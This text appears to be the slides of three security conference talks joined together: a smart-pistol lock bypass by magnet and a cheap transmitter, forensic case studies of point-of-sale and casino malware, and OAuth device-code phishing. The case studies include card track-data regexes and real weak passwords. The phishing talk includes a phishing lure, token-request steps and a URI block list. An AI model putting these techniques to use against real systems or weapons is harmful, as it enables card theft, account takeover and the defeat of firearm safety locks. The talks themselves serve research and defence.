retail packaging Magnet axis at angle relative to grip Magnet attack in package Magnet attack in package Firing pin visible through “loaded chamber” inspection port when dry-fired after successfully bypassed with magnet or authorized normally. (Firing pin not visible after unauthorized/unbypassed attempt to fire, indicating it was blocked) Magnet attack results • Works great! – Fire the pistol without the watch – Fire the pistol even without any batteries • Caveats: – Magnet can prevent trigger from resetting – Occasional issue with light primer strikes Tools for reverse engineering • Wealth of information on government sites – Patents • Detailed drawings and explanations of mechanical design • Search not just on company name but also on names of inventors for the company’s principal patents – FCC certification database • Interior photos • RF emissions • https://www.fcc.gov/oet/ea/fccid See also • “A Review of Gun Safety Technologies” (Greene 2013) – Greene gets some details wrong about the iP1 Custom test transmitter BOM • 916.5 MHz transmitter – Murata TR1000 (same module Armatix used) – Could have used a similar 916 MHz chip, e.g., SiLabs Si4430 ($5) or the ON Semi AX5243 ($1) • Antenna – Linx ANT-916-SP – Could have used a couple short pieces of wire ($0.05) • Generator for the modulation waveform – PIC16F18313 microcontroller ($1) • Stripboard breadboard ($1) • Total cost: $5 (optimal component choices) to $20 (as- built)
pdf
Nicholas J. Percoco Jibran Ilyas Trustwave’s SpiderLabs Agenda •  About Us •  How did we get the malware? •  Analysis Outline •  Sample A – Casino Club in Las Vegas •  Sample B – Hotel in New York •  Sample C – Video Poker in Lake Tahoe •  Sample D – Restaurant in Michigan •  Conclusions •  Tools We Like •  Contacts About Us Nicholas J. Percoco, Head of SpiderLabs @ Trustwave - 14 Yrs Jibran Ilyas, Senior Forensic Analyst @ Trustwave - 5 Yrs SpiderLabs is the advance security team at Trustwave responsible for incident response, penetration testing and application security tests for Trustwave’s clients. SpiderLabs has responded to hundreds of security incidents, performed thousands of penetration tests and security tested hundreds of business applications for Fortune 500 organizations. How did we get the Malware? In 2008, we visited 150 different environments that were compromised via a number of different methods. Specifically, we saw a huge increase in Malware (targeted or mainstream) based attacks. The basic method of acquisition was visit the location, live analysis, memory dumps, and disk imaging. After we had a copy of the sample, it was taken back to SpiderLabs for further analysis. SpiderLabs has two physical laboratories - Chicago and London. The contents of this talk is a walk through of what found to be some of more interesting samples we have in our collection going from simple and common to rare and complex. Analysis Outline During this presentation we are going to present each case in the following way: •  Architecture and Problems –  What did the Target Environment look like? •  Tools Found –  What did the attackers leave behind? •  Installation Vector –  How did it end up in the Target Environment? •  Static Analysis / Dynamic Analysis –  A deeper look at the Malware with and without executing it. •  Data Exfiltration / Propagation –  What damage did it do? •  Live Demo –  The malware in action - live in a VM environment. Sample A: Casino Club in Las Vegas Firewall (Allowing RDP – Port 3389) Back of House Server (No Egress filtering) Sample A - Architecture POS Terminals (No Internet Access Permitted) Sample A – Problems •  Remote Desktop allowed from Internet to Club POS Server •  Weak / Common passwords –  E.g. <pos name> : <pos name> <pos name user> : <pos name user> –  Beauty of life lies in simplicity •  Antivirus had not been updated since last POS software upgrade i.e. 8 months •  Customer data carried from two previous owners of the systems. –  Data was not wiped between owners!!!! •  Casino’s network was very flat and lacked “physical” network security controls. Sample A – Tools Found Name Size MD5 Hash Description XXX[1].EXE 680KB 7c0444811ef6a9ad8551215707cecfa9  Unprotected SFX archive containing Keylogger and Putty PUTTY.EXE 444KB 9BB6826905965C13BE1C84CC0FF83F42  Putty (SSH Client) XXX.EXE 424KB 994FFAE187F4E567C6EFEE378AF66AD0  Main Keylogger executable A0045175.exe 1,969KB cd6d403474e7c94a7ea81ce652d8ccf8  SMTP Server (original name 1st.exe) Sample A – Installation Vector •  Entry via Remote Desktop from IP in United States (216.15.X.X) –  Targeted account was “posuser” •  Downloaded an unprotected SFX archive from FTP site in United States (drugzseller.xxxxx.com) •  SFX Archive had Keylogger and Putty executable •  Purchased and Installed SMTP Server on Club POS server –  Remember POS Terminals not allowed to access the Internet, thus Club POS server used as the outbound SMTP proxy •  Used VNC to get to POS Terminals and install Keylogger Sample A – Installation Vector Attacker’s server with tools Sample A – Installation Vector Attacker buying SMTP serverwhile on Club POS Server Sample A – Dynamic Analysis XXX.EXE •  Installed in C:\Program Files\outlook folder of the system -  Other possible locations include: •  C:\Windows\Security •  C:\Windows\System32 •  C:\Program Files\BPK •  Uses Keylogger’s properties to hide from task manager, start menu and system tray ; uses a keyboard combination to unlock •  Creates a BPK.dat file which can be opened only by Keylogger’s log viewer; contains full credit card track data •  Keylogger also takes screenshots of system at regular intervals; doesn’t spare attacker activity either Sample A – Dynamic Analysis XXX.EXE Sample A – Data Exfiltration Data was collected in BPK.DAT file Data was exported via SMTP server to [email protected] Sample A – Data Exfiltration Sample A – Propagation •  The attacker used VNC to get to the POS Terminals -  Installed the Keylogger and configured settings to only capture keystrokes from a single process -  Process was for POS credit card transactions •  Since there was no Internet Access allowed on POS Terminals, the data was sent via SMTP server installed on Club POS Server Sample A – Live Demo XXX.EXE Sample A – Add’l Comments •  This attack vector was used for hundreds of bars/restaurants •  Commonality was the accessibility of remote access programs and weak passwords •  These are not usually detected because there are no IT personal regularly monitoring the systems or alerts miss •  The Keylogger survived several upgrades and system audits as it was hidden from task manager, system tray and start menu •  Also, the dat file was readable only by the Keylogger program •  Keyloggers are good; too good for even the attackers Sample B: Hotel in New York Payment Processor Sample B – Architecture Corporate Router Restaurant POS Bar POS Gift Shop POS Central Processing Server Sample B – Problems •  The firewall was a consumer router – allowed RDP inbound to many systems. •  Hotel Management System and POS Terminals running Windows that had not been patched since their installation (2004 & 2006). •  Weak username and passwords (many BLANK) for local system and domain accounts including Administrator (password:nimda) •  No Anti-Virus or Anti-Malware on ANY of the systems in the environment. •  No network segmentation for any of the systems or networks in the hotel. Sample B – Tools Found Name Size MD5 Hash Description FAR.EXE 573K ee7d411f47b13fb204a188fc37e7fc61  FAR is a collection of productivity tools combining advanced find/replace, HTML Help 1.x & MS Help 2.x authoring, FTP, File and ZIP functions in a single interface. ENT.EXE 350K defd991b647811e8e8e5591365e3be41  ENT is a set of network scanning, security and admin tools useful in diagnosing networks and monitoring network connections. GET2.EXE 48K 73ba6f159e752705ed2cde6953769a9b  GET2 Penetrator Version 1.9.9d - Windows Authentication information exfiltrator SL.EXE 20K 3a97d9b6f17754dcd38ca7fc89caab04  Yep, Foundstone’s ScanLine 1.01 tool. SERVER.EXE 868K e02d4cc6ec3b7907b35d9456ab092da3  This is obfuscated version of an application called REDIR.EXE, a proxy application used to redirect incoming connections. SVCHOST.EXE 596K ee23d3c0de12c1644f0ed8abc818aca1  File transfer, anti-debugging WINMGMT.EXE 65K 3e19ef9c9a217d242787a896cc4a5b03  Memory Dumper and Track Data Parser loader CSRSVC.EXE 74K 1f9d0d200321ad6577554cc1d0bb6b69  Customized Memory Dumper DNSMGR.EXE 1,135K bf27e87187c045e402731cdaa8a62861  Track Data Parser Sample B – Installation Vector •  Initial entry via Remote Desktop •  Targeted accounts were Administrator (pwd =nimda) , Backup (pwd = veritas), SQLDebugger (pwd = user01) •  Download of Attacker toolkit (protected SFX archive) •  Malware was extracted on target computer and remote deployment via Microsoft’s “psexec.exe” to other systems on local and corporate network. SVCHOST.EXE •  Runs as a Windows Service •  Used to establish connection to remote server in South Korea over SSL •  Anti-Debugging Built In: •  When run from Explorer it tries to… 1.  Lock the Workstation 2.  Perform a System Shutdown 3.  Terminate All Processes 4.  Close All Terminal Sessions 5.  Toss the Workstation in Standby Mode •  It checks to see if the Windows Service is running in a virtual environment such as VMWare, Virtual PC, Qemu, VirtualBox. •  If so, it executes the above shutdown / system kill processes •  All strings in the binary are encrypted Sample B – Static Analysis Sample B – Static Analysis SVCHOST.EXE Decrypted Strings also contain a Memo from the author… “A few years ago I began to teach myself about computer science at my residence. I was initially interested in networking and security, so I developed this program. I do not currently know what I intend to do with this, but I have accepted the fact that I must do some limited experiments.” Sample B – Static Analysis WINMGMT.EXE •  Normal Windows Binary; Not Obfuscated. •  Strings Analysis show: -  The malware utilizes Windows Service Control Management •  References to Winsock API •  FTP Commands (USER, PASS, TYPE I, 331, 230, etc.) •  Regular Expressions for Track 1 and Track 2 data: ((b|B)[0‐9]{13,19}\^[A‐Za‐z\s]{0,30}\/[A‐Za‐z\s]{0,30}\^(0[7‐9]|1[0‐5])((0[1‐9])|(1[0‐2]))[0‐9\s]{3,50}[0‐9]{1})  ([0‐9]{15,16}[D=](0[7‐9]|1[0‐5])((0[1‐9])|(1[0‐2]))[0‐9]{8,30})  Sample B – Dynamic Analysis WINMGMT.EXE •  Executing from command line or Explorer produces Error 1063. •  Using “/install” does the trick. •  It can run in debug mode •  Once running it locates one of eight Point of Sale system process it is designed to monitor. •  As cards are swiped on monitored processes, it creates process memory dump file in “memdump” folder and then calls a process called “dnsmgr.exe” which parses track data from dump files to an ASCII file “dirmon.chm” Sample B – Data Exfiltration •  The attacker’s created RAR archives created with WinRar and password protected them. −  We obtained the passwords for these RAR files by searching RAM dumps from the compromised systems and parsing for interesting strings −  Found “!SYSTEMNAME#623!” and it worked! •  Data exported via over SSL to a host in South Korea (211.232.XXX.X). •  Estimated that 350,000 (or more) credit cards were exported during the time the attackers were on the systems. This is based upon the contents of the RAR files. Sample B – Propagation •  The attackers made connection using RDP to 35 other hotel locations via the corporate WAN. •  We visited many of the other locations and found the exact same sets of tools and large quantities of RAR files containing credit card data. Sample B – Live Demo WINMGMT.EXE Sample B – Add’l Comments Why isn’t this malware caught? •  Anti-Virus can’t catch this −  They only know what they know. •  Lack of Log Review •  No checks for storage of prohibited data; often a sign that someone is on the system doing something they shouldn’t be •  Thanks to the IT Talent −  On few of these cases, IT simply searched Google for the malware name. Needless to say the results. Sample C: Video Poker in Lake Tahoe Note: This portion of the talk is based on actual cases we investigated where the use of “credentialed” malware was found. This portion of the presentation does not discuss or infer that any specific Video Poker system is vulnerable to this attack method. Sample C – What is Credentialed Malware? B Credentialed Malware: •  A program that is specifically design to exploit functions of the target application that are not typically available to the normal end user. •  Access to the malware’s functions are control by the developer using various forms of “authentication” tokens. •  Authentication Tokens could be sold or rented to criminals looking to illegally obtain what ever the target application is in the business of providing. Sample C - Architecture A – Video Poker Machine B – Voucher Reader / Printer C – Casino Network D – The Casino D C A B Sample C – Common Problems •  Due to the number of machines and maintenance required, machines are constantly being worked on. •  Does the “Eye in the Sky” monitor repair personnel? •  Unique passwords are difficult to manage. •  Do you need to run AV on Video Poker machines? •  Under the hardened case they are low end PCs and may have USB ports, etc. •  What OS are they running? How often are they patched? Sample C – Installation Vector Possible scenario: •  Attacker, dressed like casino repair staff, with a key walks up to the Video Poker Machine. •  They login using a default/common password (i.e. all Casino’s machines have the same password) •  The Attacker inserts a USB key with the Malware on it •  The Attacker copies the dropper over to the local file system •  The Attacker executes the dropper file, removes the USB key, and locks up the machine Another scenario: •  The malware is installed at the manufacture as a “backdoor” •  It is active on every single Video Poker machine deployed… Sample C – Analysis VIDEOPOKER.EXE •  While the malware is active it parsing for valid Vouchers, it is also looking for a User Voucher: −  Single Function – activates a single function execution −  Multi-Function – activates the malware interface window •  A User Voucher is identified by passing the value of the Voucher through a hashing algorithm and comparing the results to set values stored in the malware. •  If the malware does NOT see a User Voucher, it does nothing and passes the information over to the Video Poker software for adding credits to the game. Sample C – Analysis VIDEOPOKER.EXE Key Value Function Description Hold (1) Uninstall Deletes the malware service, puts the system logs back where they were before the malware was installed. Hold (2) Display Stats Presents information on the number of User Vouchers uses (function 3 and 4) and malware version running on the machine. Hold (3) Odds Shift Modifies the odds on the machine by increasing the face cards in ‘deck’. Hold (4) Modify Credits Prompts ‘user’ to enter value of credits (using 1,2,3,4,5 Hold keys), adds the value to the current game, and then can be cashed out. Deal Test Printer Prints ‘hello world’ to the voucher printer. Max Bet Exit Exits the malware and returns to normal game play. Also, used to enter a value to get to a sub-function. Sample C – Propagation •  If the Video Poker machine is connected to the Casino network (and likely will be) a services based vulnerability would be needed. •  The attackers could check for successful propagation by walking up to random machines. Inserting a User Voucher that will either result in it being rejected or the activation of the Malware. Sample C – Live Demo VIDEOPOKER.EXE Sample D: Restaurant in Michigan Firewall /Linksys Router (Allowing VNC – Port 5900) Back of House Server (No Egress filtering) Sample A - Architecture POS Terminals (Internet Access Permitted) Sample D – Problems •  VNC allowed from Internet to Restaurant POS Server •  Weak / Common passwords –  E.g. Admin: support •  POS Terminals were not running Anti Virus software •  Unrestricted Internet Access was allowed from all systems including POS Terminals •  POS Integrator used same passwords for all restaurants in the region Sample D – Tools Found Name Size MD5 Hash Description HOST32EDU.EXE 68KB 17c83eba9a436edbeb74a42a51b9087a  IRC Bot / Backdoor X.BAT 2KB N/A  Malware loader *contents of file found in Unallocated Clusters REPZ.EXE 65KB 6c9e01933aa88894f476d690666dc403  IRC Bot / Backdoor PACKETSNIFFER.EXE 57KB 10e5a2813d51c547346173290a0ae53b  Packet Sniffer Sample D – Installation Vector •  Entry via VNC on POS Server –  VNC password was “support” •  Downloaded malware files –  IRC Bot –  X.bat (Malware loader) –  Custom Packet Sniffer •  Malware kills all security software in Windows •  Microsoft .Net framework version 2.0 was downloaded as Packet Sniffer was written in .Net and needs the framework to run properly. •  IRC Bot downloads the configuration (tcp ports, output file location, etc.) for the system based on POS software installed •  Sniffed files are placed in C:\Export folder and then uploaded to FTP server. Sample D – Dynamic Analysis PACKETSNIFFER.EXE •  Installed in C:\Windows\Temp folder of the system •  Uses Microsoft .Net Framework v2.0 to run properly •  Uses a configuration file, which is created based on POS software •  Sniffs TCP traffic on ports 5101,5010,5011,5100 •  Stores the sniffed output in C:\Export folder •  Filenames are <ip address>.SEND.cap and <ip address>.READ.cap •  Data is uploaded to an IP based in Munich, Germany Sample D – Live Demo PACKETSNIFFER.EXE Sample D – Add’l Comments •  The destination FTP server for sniffed output files contained several other folders; all of which had sniffer output files. •  Upon analysis of FTP server, it was concluded that 9 other restaurants were affected by the same sniffer and they were all sending the data regularly to the FTP server •  6 of the restaurants were all are based in Michigan; all restaurants are serviced by same POS Integrator. Conclusions •  Malware is dominating •  Computer Memory is the target to extract sensitive data •  Companies are still not getting segmentation, passwords, firewalls right!! Easy Entry. •  Attackers are taking the time to learn, even obscure business applications before creating targeted Malware. •  Once Malware use has proved successful, similar businesses and environments are targeted quickly. Tools We Like Name URL Description Dependency Walker h"p://www.dependencywalker.com  Lists the imported and exported func;ons of an  executable file  Encase  h"p://www.guidanceso?ware.com  Forensic Analysis and Case Management  FastDumpPro  h"p://www.hbgary.com/products‐services/ fastdump‐pro  Memory Acquisi;on Tool  FTK Imager Lite  h"p://www.accessdata.com/  Acquires Windows Images Live  GMER  h"p://www.gmer.net  Detect hidden processes and rootkits  Hex Workshop  h"p://www.hexworkshop.com  Analyze, edit, cut, copy, paste, insert, fill and delete  binary data  IDA Pro  h"p://www.hex‐rays.com/idapro  Disassembler and Debugger  NMAP  h"p://www.nmap.org  Network Port Scanner  Process Monitor  h"p://technet.microso?.com/en‐us/sysinternals/ bb896645.aspx  Tracks file, registry and network ac;vity of a given  process  RegRipper  h"p://regripper.net  Registry Analysis  Regshot  h"p://sourceforge.net/projects/regshot  Acquires and Compares registry snapshot  Sigcheck  h"p://technet.microso?.com/en‐us/sysinternals/ bb897441.aspx  Checks for Digital Signatures of files on system  VolaFlity  h"ps://www.vola;lesystems.com/default/vola;lity  Memory Analysis  Win32dd  h"p://win32dd.msuiche.net   Memory Acquisi;on Tool  Wireshark  h"p://www.wireshark.org  Network Protocol Analyzer  Contacts: Nicholas J. Percoco <[email protected]> / @c7five Jibran Ilyas <[email protected]> www.trustwave.com/spiderlabs/ @SpiderLabs Special Thanks: Adam, Stephen, Colin, Chris, Ferns, Brandon, and Nathan. Contact Us
pdf
New Phishing Attacks Exploiting OAuth Authorization Flows August 7, 2021 Jenko Hwong [email protected] @jenkohwong $ az ad signed-in-user show [ { "jobTitle": "Researcher", "department": "Threat Research Labs", "company": "Netskope, Inc.", "email": "[email protected]" "twitter": "@jenkohwong", "background": "vulnerability scanning, AV/AS, pen-testing/exploits, L3/4 appliances, threat intel, windows security", } ] Phishing Evolution: smtp, fake domain, ssl cert, user/pwd in the beginning... Phishing Evolution: apps, fake domain, ssl cert, user/pwd fake website phish browse, auth steal username password victim 1 2 3 smtp, sms, IM, chat... http(s) attacker +mobile Phishing Evolution: apps, fake domain, ssl cert, user/pwd fake website hosted in cloud phish browse, auth victim 1 2 smtp, sms, IM, chat... http(s) attacker steal username password 3 +cloud fake website hosted in cloud phish browse, auth victim 1 2 smtp http(s) attacker steal username password 3 +cloud Phishing Evolution: apps, fake domain, ssl cert, user/pwd Phishing Evolution: fake domain, apps, ssl cert, user/pwd fake website phish browse, auth steal username password victim 1 2 3 smtp, sms, IM, chat... http(s) attacker controls MFA IP allow policies link analysis (domain/URLs/certs) sender reputation link analysis (domain/URLs/certs) content inspection (creds) Phishing Evolution: OAuth 2.0 auth code grant[1] +cloud app authorization Application (client, device) User Azure AD Google Identity Identity Platform 1 2 3 Authenticate and Authorize Authenticate (MFA) Authorize permissions (scopes) OAuth Tokens access token refresh token Request Authorization Request permissions (scopes) Redirect user to Identity Platform (authorization service) [1] https://datatracker.ietf.org/doc/html/rfc6749#page-24 Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: Payments Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: Payments Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: Payments $ gcloud auth login [email protected] --launch-browser --force Your browser has been opened to visit: https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.goo gleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2 Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud -platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googl eapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state= IMWlTK5Vlfab5gl4hKrleOxsylObop&access_type=offline&code_challenge=gU8ezZryqHCwAPyai2OLKaU-i PvbR62biGjQgGV6IRE&code_challenge_method=S256 Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: GCP CLI Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: GCP CLI +cloud app authorization: GCP CLI Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: GCP CLI Phishing Evolution $ gcloud auth login [email protected] --launch-browser --force Your browser has been opened to visit: https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.goo gleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2 Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud -platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googl eapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state= IMWlTK5Vlfab5gl4hKrleOxsylObop&access_type=offline&code_challenge=gU8ezZryqHCwAPyai2OLKaU-i PvbR62biGjQgGV6IRE&code_challenge_method=S256 You are now logged in as [[email protected]]. $ Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization: GCP CLI Phishing Evolution: fake OAuth login +cloud app authorization Phishing Evolution: fake OAuth login, check creds ● Real-time creds validation (APIs)[1] ● Based on pass/fail, redirect user to valid domains (stealth, creds validation upfront) [1] https://threatpost.com/office-365-phishing-attack-leverages-real-time-active-directory-validation/159188/ +cloud app authorization Azure AD Google Identity Phishing Evolution: fake OAuth login, check creds ● Real-time creds validation (APIs)[1] ● Controls ○ MFA, IP allow policies ○ link analysis (domain/URLs/certs) ○ content inspection (creds) ○ sender reputation +cloud app authorization [1] https://threatpost.com/office-365-phishing-attack-leverages-real-time-active-directory-validation/159188/ Azure AD Google Identity Oauth tokens { "access_token": "ya29.a0ARrdaM9...", "refresh_token": "1//06S3lSKyEHY…", "scope": "https://www.googleapis...", "expires_in": 3599, "token_type": "Bearer" } Phishing Evolution: OAuth 2.0 auth code grant +cloud app authorization protocol -- why do we care ? Application (client, device) User Azure AD Google Identity Identity Platform Authenticate and Authorize GET https://accounts.google.com/o/oauth2/v2/auth? client_id=32555940559.apps.googleusercontent.com& response_type=code& scope=https://www.googleapis.com/auth/cloud-platform& access_type=offline&redirect_uri=www.myapp.com:9000 (authenticate, MFA, consent to scopes) Request oauth tokens POST https://www.googleapis.com/oauth2/v4/token client_id=32555940559.apps.googleusercontent....& scope=https://www.googleapis.com/auth/cloud...& client_secret=JqQXA298PB…& code=AwABAAAAvPM1KaP…& redirect_uri=www.myapp.com:9000 Login / Checkout / Install App 1 Redirect to Identity Platform 2 3 5 6 Redirect URL with Authorization Code GET http://www.myapp.com:9000? code=AwABAAAAvPM1KaP... 4 1. Hijack session tokens, not creds 2. REST APIs <=> remote exploit vs endpoint 1. Malicious registered application 2. Get user consent for wide scopes / permissions Oauth tokens { "access_token": "ya29.a0ARrdaM9...", "refresh_token": "1//06S3lSKyEHY…", "scope": "https://www.googleapis...", "expires_in": 3599, "token_type": "Bearer" } Phishing Evolution: OAuth 2.0 illicit consent grants +cloud app authorization protocol Application (client, device) User Azure AD Google Identity Identity Platform Authenticate and Authorize GET https://accounts.google.com/o/oauth2/v2/auth? client_id=32555940559.apps.googleusercontent.com& response_type=code& scope=https://www.googleapis.com/auth/cloud-platform& access_type=offline&redirect_uri=www.myapp.com:9000 (authenticate, MFA, consent to scopes) Request oauth tokens POST https://www.googleapis.com/oauth2/v4/token client_id=32555940559.apps.googleusercontent....& scope=https://www.googleapis.com/auth/cloud...& client_secret=JqQXA298PB…& code=AwABAAAAvPM1KaP…& redirect_uri=www.myapp.com:9000 3 5 6 Redirect URL with Authorization Code GET http://www.myapp.com:9000? code=AwABAAAAvPM1KaP... 4 Login / Checkout / Install App 1 2 Redirect to Identity Platform Phishing Evolution: OAuth 2.0 illicit consent grants[1] [1] https://www.bleepingcomputer.com/news/security/phishing-attack-hijacks-office-365-accounts-using-oauth-apps/ [2] https://docs.microsoft.com/en-us/azure/active-directory/develop/application-consent-experience +cloud app authorization protocol [2] 1. Malicious registered application 2. Get user consent for wide scopes / permissions Controls 1. Prevent users from registering apps in AD 2. Prevent users from consenting Phishing Evolution: OAuth 2.0 device code authorization[1] what's the purpose? to provide easier authentication/authorization on limited input devices e.g. smart TVs [1] https://datatracker.ietf.org/doc/html/rfc8628 “I think there's an RFC for that.” which, when implemented, looks something like this on your TV with the real sign-in on a computer or mobile phone Unusability is the father of insecurity Instruct user to login on computer/smartphone "1. Go to www.google.com/device 2. Enter user code: ZLGG-LOSP" Phishing Evolution: OAuth 2.0 device code authorization[1] +cloud app authorization protocol Device (client, app) User Azure AD Google Identity Identity Platform Authenticate and Authorize 1. Goes to www.google.com/device 2. Enters: ZLGG-LOSP 3. Authenticates, including MFA Login 1 Get user/device codes 2 4 5 3 Retrieve oauth tokens client_id device_code [1] https://datatracker.ietf.org/doc/html/rfc8628 Demo: OAuth 2.0 device code authorization ● Dr. Nestori Syynimaa: https://o365blog.com/post/phishing/ ● Usability => insecurity ● A different auth flow => opportunity ● Implementation quirks User/device codes { "device_code": "AH-1NgM6boio...", "verification_url": "https://www.google.com/device", "user_code": "ZLGG-LQSP", "expires_in": 1800, "interval": 5 } User code, verification URL manual instructions: "1. Go to www.google.com/device 2. Enter: ZLGG-LOSP" Oauth tokens { "access_token": "ya29.a0ARrdaM9...", "refresh_token": "1//06S3lSKyEHY…", } Phishing Evolution: OAuth 2.0 device code authorization +cloud app authorization protocol Device (client, app) User Azure AD Google Identity Identity Platform Authenticate and Authorize 1. Goes to www.google.com/device 2. Enters: ZLGG-LOSP 3. Authenticates, including MFA Login 1 Get user/device codes POST https://login.microsoftonline.com/comm on/oauth2/devicecode?api-version=1.0 client_id=d3590ed6-52b3-4102-aeff-aad22 92ab01c& resource=https://outlook.office365.com 3 2 5 6 4 7 Poll for oauth tokens client_id device_code User/device codes { "device_code": "AH-1NgM6boio...", "verification_url": "https://www.google.com/device", "user_code": "ZLGG-LQSP", "expires_in": 1800, "interval": 5 } Phish "Here's your promotional product code: 1. Go to www.google.com/device 2. Enter: ZLGG-LOSP" Oauth tokens { "access_token": "ya29.a0ARrdaM9...", "refresh_token": "1//06S3lSKyEHY…", } Phishing Evolution: OAuth 2.0 device code authorization +cloud app authorization protocol Device (client, app) User Azure AD Google Identity Identity Platform Authenticate and Authorize 1. Goes to www.google.com/device 2. Enters: ZLGG-LOSP 3. Authenticates, including MFA Login 1 Get user/device codes POST https://login.microsoftonline.com/comm on/oauth2/devicecode?api-version=1.0 client_id=d3590ed6-52b3-4102-aeff-aad22 92ab01c& resource=https://outlook.office365.com 3 2 5 6 4 7 Poll for oauth tokens client_id device_code microsoft phish XX Use refresh token to get new access token for Azure { "refresh_token": "1//06S3lSKyEHY…", "scope": "openid", "grant_type": "refresh_token" "resource": "https://management.azure.com", "client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c", } Phishing Evolution: OAuth 2.0 device code authorization +cloud app authorization protocol Device (client, app) Azure AD Google Identity Identity Platform 9 8 microsoft phish Access Token { "scope": "user_impersonation", "resource": "https://management.azure.com", "access_token": "eyJ0eXAiOiJKV1QiLCJhbG...", "refresh_token": "0.AUYAAknJ93kbWUyXs2…", } User/device codes { "device_code": "AH-1NgM6boio...", "verification_url": "https://www.google.com/device", "user_code": "ZLGG-LQSP", "expires_in": 1800, "interval": 5 } Phish "Here's your promotional product code: 1. Go to www.google.com/device 2. Enter: ZLGG-LOSP" Oauth tokens { "access_token": "ya29.a0ARrdaM9...", "refresh_token": "1//06S3lSKyEHY…", } Phishing Evolution: OAuth 2.0 device code authorization +cloud app authorization protocol Device (client, app) User Azure AD Google Identity Identity Platform Authenticate and Authorize 1. Goes to www.google.com/device 2. Enters: ZLGG-LOSP 3. Authenticates, including MFA Login 1 Get user/device codes POST https://login.microsoftonline.com/comm on/oauth2/devicecode?api-version=1.0 client_id=d3590ed6-52b3-4102-aeff-aad22 92ab01c& resource=https://outlook.office365.com 3 2 5 6 4 7 Poll for oauth tokens client_id device_code XX 1. No server infrastructure 2. No registered application, use existing vendor client app 3. No consent screen microsoft phish User/device codes { "device_code": "AH-1NgM6boio...", "verification_url": "https://www.google.com/device", "user_code": "ZLGG-LQSP", "expires_in": 1800, "interval": 5 } Phish "Here's your promotional product code: 1. Go to www.google.com/device 2. Enter: ZLGG-LOSP" Oauth tokens { "access_token": "ya29.a0ARrdaM9...", "refresh_token": "1//06S3lSKyEHY…", } Phishing Evolution: OAuth 2.0 device code authorization +cloud app authorization protocol Device (client, app) User Azure AD Google Identity Identity Platform Authenticate and Authorize 1. Goes to www.google.com/device 2. Enters: ZLGG-LOSP 3. Authenticates, including MFA Login 1 Get user/device codes POST https://login.microsoftonline.com/comm on/oauth2/devicecode?api-version=1.0 client_id=d3590ed6-52b3-4102-aeff-aad22 92ab01c& resource=https://outlook.office365.com 3 2 5 6 4 7 Poll for oauth tokens client_id device_code XX 1. No server infrastructure 2. No registered application, use existing vendor client app 3. No consent screen 4. Implicit, default scopes microsoft phish Phishing Evolution: OAuth 2.0 device code authorization +cloud app authorization protocol 1. No server infrastructure 2. No registered application, use existing vendor client app 3. No consent screen 4. Implicit, default scopes 5. Move laterally to other services 6. Logging limited (initial token logged as sign-in, but lateral move is not) microsoft phish Phishing Evolution: OAuth 2.0 device code authorization +cloud app authorization protocol 1. No server infrastructure 2. No registered application, use existing vendor client app 3. No consent screen 4. Implicit, default scopes 5. Move laterally to other services 6. Logging limited (initial token logged as sign-in, but lateral move is not) microsoft phish 1. Prevent: block verification URIs, use conditional access policies ● https://oauth2.googleapis.com/device/code ● https://microsoft.com/devicelogin ● https://login.microsoftonline.com/common/oauth2/deviceauth ● block access based on IP, location, endpoint characteristics 2. Detect ● Difficult 3. Remediate ● API to revoke all oauth tokens for a user Phishing Evolution: OAuth 2.0 device code authorization controls 1. No server infrastructure 2. No registered application, use existing vendor client app 3. No consent screen 4. Implicit, default scopes 5. Move laterally to other services 6. Logging limited (initial token logged as sign-in, but lateral move is not) microsoft phish 1. Prevent: block verification URIs, use conditional access policies ● https://oauth2.googleapis.com/device/code ● https://microsoft.com/devicelogin ● https://login.microsoftonline.com/common/oauth2/deviceauth ● block access based on IP, location, endpoint characteristics 2. Detect ● https://login.microsoftonline.com/common/oauth2/devi 3. Remediate ● API to revoke all oauth tokens for a user Phishing Evolution: OAuth 2.0 device code authorization controls 1. No server infrastructure 2. No registered application, use existing vendor client app 3. No consent screen 4. Implicit, default scopes 5. Move laterally to other services 6. Logging limited (initial token logged as sign-in, but lateral move is not) microsoft phish Short expiration of user/device codes (15-30mins) ● phishing numbers game ● incorporate hosted website, generate codes dynamically ● use images for user code (no javascript allowed in email clients) practical considerations OAuth 2.0 device code authorization Microsoft Google Server infrastructure None required None required Application registration None needed, can use large # of existing apps Some limited vendor apps e.g. Chrome Consent screens No Partial (limited vendor apps) Scopes Implicit, default scopes, wide-range Very limited (user profile, drive access to app files, youtube info) Lateral movement Easy to switch among large number of services No: strict limited scopes for device code flow Logging Partial (initial token access) Partial Prevention block URIs, cond access block URIs, VPC perimeters Detection Difficult Difficult Remediation API to revoke user tokens Delete/recreate user Ongoing Research Areas ● Other flows[1] ● Any usability "requirements" ● Bypass consent e.g. implicit grants ● Default scopes[2] ● Consent[3] ● Browser auto-login and scope expansion e.g. Google uberauth (2013)[4][5] [1] https://datatracker.ietf.org/doc/html/rfc6749#page-23 [2] https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent [3] https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent [4] https://gist.github.com/arirubinstein/fd5453537436a8757266f908c3e41538 [5] 